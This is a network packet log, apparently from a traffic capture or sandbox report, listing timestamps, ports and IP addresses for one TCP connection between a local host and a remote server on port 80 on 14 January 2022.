Jan 14, 2022 20:23:53.326262951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.326291084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.326296091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.371310949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.371361017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.371398926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.374670982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.374713898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.374752998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.374804020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.374834061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.382941008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.382981062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.383021116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.383038998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.383923054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.383964062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.383979082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384004116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384042025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384079933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384094000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384119987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384129047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384157896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384196997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384215117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384236097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384272099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384284973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384311914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384351015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384391069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384406090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384432077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384439945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384470940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384510040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384548903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384562016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384587049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384602070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384627104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384665966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384701967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384705067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384746075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384753942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384784937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384824038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384839058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384865999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384902954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384942055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384953976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.384979963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.384988070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385020971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385061026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385097027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385111094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385135889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385143042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385174990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385211945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385251045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385258913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385288954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385297060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385329962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385370016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385412931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385438919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385452986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385476112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385493994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385530949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385585070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385593891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385623932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385632992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385662079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385700941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385739088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385751963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385778904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385793924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385821104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385886908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385925055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385940075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.385965109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.385979891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386003971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386043072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386081934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386090994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386121035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386136055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386162043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386202097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386240005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386254072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386280060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386287928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386320114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386357069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386395931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386413097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386437893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386452913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386478901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386518955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386555910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386570930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386595964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386609077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.386636972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386673927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.386720896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.431749105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.431804895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.431842089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.431880951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.431901932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.431926012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.431930065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.431965113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.432022095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.444314003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.444744110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.444804907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445121050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445159912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445174932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445199966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445240021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445276976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445290089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445316076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445322037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445355892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445405006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445446014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445461988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445485115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445499897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445523024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445563078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445602894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445616961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445643902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445662975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445686102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445724010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445763111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445780039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445801973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445816994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445841074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445913076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445950985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.445980072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.445988894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446028948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446042061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446068048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446086884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446105957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446145058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446182966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446202040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446223021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446232080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446264029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446300983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446340084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446357012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446379900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446394920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446420908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446459055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446497917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446500063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446537971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446553946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446578979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446615934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446635962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446655035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446693897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446732044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446752071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446772099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446785927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446810961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446850061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446880102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446890116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446928024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.446954012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.446980953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447020054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447046995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447058916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447097063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447112083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447137117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447175026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447247982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447288036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447288036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447328091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447364092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447366953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447413921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447438955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447455883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447472095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447495937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447535992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447573900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447593927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447613001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447627068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447653055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447691917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447710991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447735071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447777033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447798014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.447823048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447863102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447901964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447938919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447969913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.447999954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.448035955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.448046923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.448133945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.448177099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.489119053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489176035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489217997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489243984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.489257097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489299059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489337921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.489357948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.489393950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.508642912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508687019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508728027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508765936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.508768082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508805990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508846998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508846998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.508889914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508910894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.508930922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.508971930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509010077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509049892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509090900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509129047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509149075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509160995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509167910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509183884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509208918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509223938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509248972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509289026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509330988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509346962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509371042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509387970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509413958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509453058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509493113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509506941 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509535074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509548903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509574890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509614944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509653091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509684086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509690046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509722948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509725094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509764910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509804010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509818077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509844065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509870052 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509916067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509957075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.509973049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.509999037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510035992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510075092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510101080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510114908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510128975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510154009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510194063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510234118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510250092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510274887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510293961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510315895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510354042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510394096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510400057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510435104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510449886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510473013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510512114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510550976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510565042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510591984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510603905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510636091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510674000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510711908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510725975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510751963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510759115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510807037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510845900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510885000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510893106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510925055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.510930061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.510963917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.511003017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.511043072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.511049986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.511082888 CET	80	49866	81.163.30.181	192.168.2.3
